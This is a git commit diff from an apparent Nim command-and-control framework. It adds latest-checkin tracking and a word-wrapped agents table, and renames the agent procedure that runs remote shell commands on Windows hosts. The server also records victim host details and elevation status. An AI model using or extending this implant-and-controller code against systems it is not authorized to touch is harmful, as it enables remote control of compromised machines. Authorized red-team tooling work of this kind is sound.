Implemented displaying latest checkin in agents table, as well as word-wrap.

This commit is contained in:
Jakob Friedl
2025-05-23 13:55:00 +02:00
parent 6f9e20566d
commit 5ab9cd302c
10 changed files with 155 additions and 59 deletions

View File

@@ -16,7 +16,7 @@ proc main() =
# TODO: Read data from configuration file
let listener = "NVIACCXB"
let listener = "HVVOGEOM"
let agent = register(listener)
echo fmt"[+] [{agent}] Agent registered."

View File

@@ -2,7 +2,7 @@ import winim, osproc, strutils
import ../types
proc executeShellCommand*(command: seq[string]): TaskResult =
proc taskShell*(command: seq[string]): TaskResult =
echo command.join(" ")
let (output, status) = execCmdEx(command.join(" "))

View File

@@ -7,7 +7,7 @@ proc handleTask*(task: Task): Task =
case task.command:
of ExecuteShell:
let cmdResult = executeShellCommand(task.args)
let cmdResult = taskShell(task.args)
echo cmdResult
return Task(

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, sequtils, tables, json
import terminal, strformat, strutils, sequtils, tables, json, times
import ./interact
import ../[types, globals, utils]
import ../db/database
@@ -61,8 +61,9 @@ Operating system: {agent.os}
Process name: {agent.process}
Process ID: {$agent.pid}
Process elevated: {$agent.elevated}
First checkin: {agent.firstCheckin}
""")
First checkin: {agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")}
Latest checkin: {agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")}
""")
# Terminate agent and remove it from the database
proc agentKill*(cq: Conquest, name: string) =
@@ -129,7 +130,9 @@ proc register*(agent: Agent): bool =
return false
cq.add(agent)
cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true
@@ -147,10 +150,13 @@ proc getTasks*(listener, agent: string): JsonNode =
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
return nil
# TODO: Update the last check-in date for the accessed agent
# Update the last check-in date for the accessed agent
cq.agents[agent.toUpperAscii].latestCheckin = now()
if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
return nil
let agent = cq.agents[agent]
return %agent.tasks.filterIt(it.status != Completed)
# Return tasks in JSON format
return %cq.agents[agent.toUpperAscii].tasks.filterIt(it.status != Completed)
proc handleResult*(listener, agent, task: string, taskResult: Task) =

View File

@@ -56,9 +56,3 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
cq.writeLine("")
proc createTask*(args: varargs[string]): Task =
discard
proc addTask*(cq: Conquest, agent: Agent, task: Task) =
discard

View File

@@ -33,6 +33,7 @@ proc dbInit*(cq: Conquest) =
sleep INTEGER DEFAULT 10,
jitter REAL DEFAULT 0.1,
firstCheckin DATETIME NOT NULL,
latestCheckin DATETIME NOT NULL,
FOREIGN KEY (listener) REFERENCES listeners(name)
);
@@ -40,5 +41,5 @@ proc dbInit*(cq: Conquest) =
cq.writeLine(fgGreen, "[+] ", cq.dbPath, ": Database created.")
conquestDb.close()
except SqliteError:
except SqliteError as err:
cq.writeLine(fgGreen, "[+] ", cq.dbPath, ": Database file found.")

View File

@@ -1,4 +1,4 @@
import system, terminal, tiny_sqlite
import system, terminal, tiny_sqlite, times
import ../types
#[
@@ -10,9 +10,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, $agent.firstCheckin)
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
conquestDb.close()
except:
@@ -28,8 +28,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin FROM agents;"):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string))
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent(
name: name,
@@ -42,7 +42,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
ip: ip,
os: os,
elevated: elevated,
firstCheckin: firstCheckin,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
jitter: jitter,
process: process
)
@@ -62,8 +63,8 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin FROM agents WHERE listener = ?;", listenerName):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string))
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent(
name: name,
@@ -76,7 +77,8 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
ip: ip,
os: os,
elevated: elevated,
firstCheckin: firstCheckin,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
jitter: jitter,
process: process,
)
@@ -113,3 +115,15 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
conquestDb.close()
return true
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false

View File

@@ -39,7 +39,7 @@ proc register*(ctx: Context) {.async.} =
agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
agentUuid: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
listenerUuid: string = ctx.getPathParams("listener")
date: string = now().format("dd-MM-yyyy HH:mm:ss")
date: DateTime = now()
let agent: Agent = newAgent(agentUuid, listenerUuid, date, agentRegistrationData)

View File

@@ -1,6 +1,8 @@
import prompt
import prologue
import tables
import times
import terminal
#[
Agent types & procs
@@ -54,10 +56,10 @@ type
sleep*: int
jitter*: float
tasks*: seq[Task]
firstCheckin*: string
lastCheckin*: string
firstCheckin*: DateTime
latestCheckin*: DateTime
proc newAgent*(name, listener, firstCheckin: string, postData: AgentRegistrationData): Agent =
proc newAgent*(name, listener: string, firstCheckin: DateTime, postData: AgentRegistrationData): Agent =
var agent = new Agent
agent.name = name
agent.listener = listener
@@ -73,6 +75,7 @@ proc newAgent*(name, listener, firstCheckin: string, postData: AgentRegistration
agent.jitter = 0.2
agent.tasks = @[]
agent.firstCheckin = firstCheckin
agent.latestCheckin = firstCheckin
return agent

View File

@@ -1,4 +1,5 @@
import re, strutils, terminal, tables, sequtils
import strutils, terminal, tables, sequtils, times, strformat
import std/wordwrap
import ./[types]
@@ -10,6 +11,14 @@ proc validatePort*(portStr: string): bool =
return false
# Table border characters
type
Cell = object
text: string
fg: ForegroundColor = fgWhite
bg: BackgroundColor = bgDefault
style: Style
const topLeft = ""
const topMid = ""
const topRight= ""
@@ -22,67 +31,136 @@ const botRight= "╯"
const hor = ""
const vert = ""
# Wrap cell content
proc wrapCell(text: string, width: int): seq[string] =
result = text.wrapWords(width).splitLines()
# Format border
proc border(left, mid, right: string, widths: seq[int]): string =
var line = left
for i, w in widths:
line.add(hor.repeat(w))
line.add(hor.repeat(w + 2))
line.add(if i < widths.len - 1: mid else: right)
return line
# Format a row of data
proc row(cells: seq[string], widths: seq[int]): string =
var row = vert
proc formatRow(cells: seq[Cell], widths: seq[int]): seq[seq[Cell]] =
var wrappedCols: seq[seq[Cell]]
var maxLines = 1
for i, cell in cells:
# Truncate content of a cell with "..." when the value to be inserted is longer than the designated width
let w = widths[i] - 2
let c = if cell.len > w:
if w >= 3:
cell[0 ..< w - 3] & "..."
else:
".".repeat(max(0, w))
else:
cell
row.add(" " & c.alignLeft(w) & " " & vert)
return row
let wrappedLines = wrapCell(cell.text, widths[i])
wrappedCols.add(wrappedLines.mapIt(Cell(text: it, fg: cell.fg, bg: cell.bg, style: cell.style)))
maxLines = max(maxLines, wrappedLines.len)
for line in 0 ..< maxLines:
var lineRow: seq[Cell] = @[]
for i, col in wrappedCols:
let lineText = if line < col.len: col[line].text else: ""
let base = cells[i]
lineRow.add(Cell(text: " " & lineText.alignLeft(widths[i]) & " ", fg: base.fg, bg: base.bg, style: base.style))
result.add(lineRow)
proc writeRow(cq: Conquest, row: seq[Cell]) =
stdout.write(vert)
for cell in row:
stdout.styledWrite(cell.fg, cell.bg, cell.style, cell.text, resetStyle, vert)
stdout.write("\n")
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
# Column headers and widths
let headers = @["Name", "Address", "Port", "Protocol", "Agents"]
let widths = @[10, 17, 7, 10, 8]
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
cq.writeLine(border(topLeft, topMid, topRight, widths))
cq.writeLine(row(headers, widths))
for line in formatRow(headerCells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(midLeft, midMid, midRight, widths))
for l in listeners:
# Get number of agents connected to the listener
let connectedAgents = cq.agents.values.countIt(it.listener == l.name)
let row = @[l.name, l.address, $l.port, $l.protocol, $connectedAgents]
cq.writeLine(row(row, widths))
let rowCells = @[
Cell(text: l.name, fg: fgGreen),
Cell(text: l.address),
Cell(text: $l.port),
Cell(text: $l.protocol),
Cell(text: $connectedAgents)
]
for line in formatRow(rowCells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(botLeft, botMid, botRight, widths))
# Calculate time since latest checking in format: Xd Xh Xm Xs
proc timeSince*(timestamp: DateTime): Cell =
let
now = now()
duration = now - timestamp
totalSeconds = int(duration.inSeconds)
let
days = totalSeconds div 86400
hours = (totalSeconds mod 86400) div 3600
minutes = (totalSeconds mod 3600) div 60
seconds = totalSeconds mod 60
var text = ""
if days > 0:
text &= fmt"{days}d "
if hours > 0 or days > 0:
text &= fmt"{hours}h "
if minutes > 0 or hours > 0 or days > 0:
text &= fmt"{minutes}m "
text &= fmt"{seconds}s"
return Cell(
text: text.strip(),
# When the agent is 'dead', meaning that the latest checkin occured
# more than 15 seconds ago, dim the text of the cell
style: if totalSeconds > 15: styleDim else: styleBright
)
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID"]
let widths = @[10, 17, 20, 20, 20, 15, 7]
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
let widths = @[10, 17, 15, 15, 18, 15, 7, 10]
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
cq.writeLine(border(topLeft, topMid, topRight, widths))
cq.writeLine(row(headers, widths))
for line in formatRow(headerCells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(midLeft, midMid, midRight, widths))
for a in agents:
let row = @[a.name, a.ip, a.username, a.hostname, a.os, a.process, $a.pid]
var cells = @[
Cell(text: a.name, fg: fgYellow, style: styleBright),
Cell(text: a.ip),
Cell(text: a.username),
Cell(text: a.hostname),
Cell(text: a.os),
Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite),
Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite),
timeSince(a.latestCheckin)
]
# Highlight agents running within elevated processes
if a.elevated:
cq.writeLine(bgRed, fgBlack, row(row, widths))
else:
cq.writeLine(row(row, widths))
for line in formatRow(cells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(botLeft, botMid, botRight, widths))